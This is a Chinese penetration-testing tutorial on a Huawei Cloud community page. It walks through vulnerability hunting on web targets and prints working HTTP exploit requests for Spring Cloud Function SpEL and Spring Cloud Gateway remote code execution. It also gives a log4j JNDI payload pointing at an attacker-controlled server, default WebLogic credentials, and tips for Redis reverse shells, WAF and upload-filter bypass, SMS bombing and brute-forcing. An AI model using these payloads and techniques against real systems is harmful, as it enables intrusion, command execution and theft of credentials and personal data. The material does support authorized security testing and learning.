渗透测试 - 如何高效率挖掘漏洞

举报
亿人安全 发表于 2023/05/31 16:56:36 2023/05/31
【摘要】 前言1、做渗透由始至终,忌讳穿插其他项目进行2、按顺序细心测试每一个功能点,保证漏洞无遗漏3、山穷水复疑无路,柳暗花明又一村,一个点利用不到,可以灵活变通尝试其他方向漏扫工具AWVSXray端口扫描端口扫描可发现系统开放的端口21、22、3306 等远程端口,可使用超级弱口令工具或者 railgun 自带模块进行暴力破解6379 端口可以尝试 redis 未授权,使用计划任务等方式弹 she...

前言

1、做渗透由始至终,忌讳穿插其他项目进行

2、按顺序细心测试每一个功能点,保证漏洞无遗漏

3、山穷水复疑无路,柳暗花明又一村,一个点利用不到,可以灵活变通尝试其他方向

漏扫工具

AWVS

image-20220331013310459

Xray

image-20220331013412371

端口扫描

端口扫描可发现系统开放的端口

image-20220319235529607

21、22、3306 等远程端口,可使用超级弱口令工具或者 railgun 自带模块进行暴力破解

image-20220331014528307

6379 端口可以尝试 redis 未授权,使用计划任务等方式弹 shell

image-20220331014350104

image-20220331014318154

image-20220331014422012

8080 端口可尝试 tomcat 弱口令部署 war 包 getshell

image-20220331023032682

image-20220331023055386

目录扫描

通过目录扫描可以发现系统中存在的脆弱性问题,方便我们进行下一步渗透

对于一些 403 的页面,可以进行二级目录扫描

dirsearch

Jsfinder

image-20220331031534531

识别系统使用框架

可通过指纹工具识别出所使用的框架或者产品

Wappalyzer

image-20220331022834442

tidefinger

image-20220331133631529

CMS 二次开发站点

通过目录扫描发现带有 cms 标识残留页面或者通过图标判断出

image-20220331022535520

通过漏洞库查找相关未修复的漏洞

image-20220331033033253

struts2

一般使用 struts2 框架后缀带 do 或 action,可以尝试进行利用

image-20220319225637171

后缀为 action,可能使用了 struts2 框架,使用工具尝试进行利用

image-20220319230052453

命令执行成功

image-20220319230149194

shiro

shiro 框架识别可通过数据包中是否含有 rememberme 字段进行判断

image-20220319230728747

登录抓取数据包,发现存在 rememberme 字段,判断为 shiro 框架,尝试进行

image-20220319230910948

检测当前密钥和利用链是否存在

image-20220319231223286

两者存在利用成功

image-20220319231810698

在攻防演练里 getshell 后还可以对 key 进行修改,防止其他队伍得分

image-20220319233134592

使用潘神的一键改 key 工具,可看到 key 已经被修改

image-20220319233455860

weblogic

框架识别

访问 7001 端口出现下面这种截图,可能存在 weblogic 漏洞

image-20220319234134049

使用 weblogic 漏洞利用工具,检测是否存在漏洞

image-20220319234403587

执行命令

image-20220319234721997

weblogic 弱口令

输入 console 可跳转至登录界面,可以测试是否使用默认口令

PLAINTEXT

1
2
3
4
5
6
system/password
weblogic/weblogic
admin/security
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem

image-20220320002114176

springboot

框架识别

1、通过 web 应用程序网页标签的小绿叶图标(favicon.ico)

2、通过 springboot 框架默认报错页面

image-20220330142327249

目录扫描接口

推荐章神的 railgun,有对应的 springboot 字典

image-20220330164514435

PLAINTEXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文,同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

/restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie等信息。

springboot exploit

目标地址填入要测试的 url,点击检测环境,然后点击检测当前利用链

image-20220330151019740

PLAINTEXT

1
2
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
服务器地址填入目标地址,选择相应的端口

image-20220330155431272

heapdump 密码获取

PLAINTEXT

1
2
/heapdump
/actuator/heapdump

使用 Eclipse Memory Analyzer 进行分析

http://www.eclipse.org/downloads/download.php?file=/mat/1.12.0/rcp/MemoryAnalyzer-1.12.0.20210602-win32.win32.x86_64.zip

PLAINTEXT

1
2
3
4
select s from java.lang.String s where /pass/.test(s.value.toString())
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

image-20220330001919539

springboot function spel rce

发送 poc,成功执行命令

PLAINTEXT

1
2
3
4
5
6
7
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

xxx

image-20220327032802779

springboot gateway

添加一个路由

PLAINTEXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

刷新令路由生效

PLAINTEXT

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

访问触发漏洞

PLAINTEXT

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

删除路由

PLAINTEXT

1
2
3
4
5
6
7
8
DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 4

image-20220407191848840

工具检测

https://github.com/chaosec2021/CVE-2022-22947-POC

image-20220407191740193

log4j

https://github.com/f0ng/log4j2burpscanner

image-20220331030350936

PLAINTEXT

1
2
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}

image-20220331025549129

常见功能点漏洞

SQL 注入挖掘

遇到参数后面带数字的,可以使用 1=1、1=2 判断是否存在 sql 注入

image-20220330175405470

image-20220330175428256

抓取数据包,使用 sqlmap 进行注入测试

image-20220331021519362

测试成功

image-20220331021456392

但在测试过程中可能会遇到被 waf 拦截的情况

image-20220330175133211

可以 fuzz 被拦截的字符,有针对性进行绕过

image-20220330175110730

api 接口账密信息泄露

通过查看系统的 js 文件,检索字段如 id、pass、url 等关键字

image-20220331024002430

image-20220331023652321

接口参数发现

常见于任意文件读取、下载、包含漏洞

arjun+fuzz

image-20220331021833719

知道参数为 file 构造 https://10.10.10.127/system_wws/include.php?file= 使用字典对可读取文件进行 fuzz

image-20220331022215012

image-20220331014748257

敏感信息泄露

通过对某个字段进行置空,回显数据包中泄露了大量的手机号、姓名、住址等敏感信息

image-20220331030911387

越权漏洞

通过修改 post 数据包字段的数值,可进行越权操作,查看其他用户的个人信息

image-20220331133121580

短信问题

短信轰炸

对数据包进行重放,实现单用户收到多条短信的效果

短信定向转发

对数据包中的手机号进行遍历,实现一条短信转发给多个用户效果

image-20220331033700502

image-20220331033804194

未授权访问

https://github.com/rtcatc/Packer-Fuzzer

image-20220331130021164

image-20220331125617923

文件上传

黑名单过滤 php 后缀,尝试 php3、php5、phtml 等进行绕过

image-20220331130059615

存在文件解析漏洞,比如 apache 的从右往左进行解析,可添加.xxx 进行绕过

image-20220331130232112

fuzz 其他上传接口比如 file、upload、uploadfile 等,可能会存在其他接口不检验的问题,但实战中很少

暴力破解

之前我们一般暴力破解都是以 admin 为账号,去爆破 top1000 的字典,去根据状态码、长度筛选爆破结果

image-20220331131852241

但是 admin 管理员账户一般是强口令,很难进行爆破,且部分密码进行加密,寻找 js 解密耗费时间久,对于 admin 建议尝试几个 admin123、123456 这些,如果没有的话我们应该选择其他的思路,固定密码 123456、000000 去爆破姓名拼音用户名

image-20220331132325162

凑洞环节

后台地址泄露

image-20220319222555784

不安全的 http 请求方式

image-20220331024443885

垃圾数据写入

image-20220331133446918

用户名枚举

image-20220331033149623

image-20220331033205345

image-20220331033132570

中间件版本信息泄露

image-20220331130338929

多点会话登录

image-20220331130416995


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。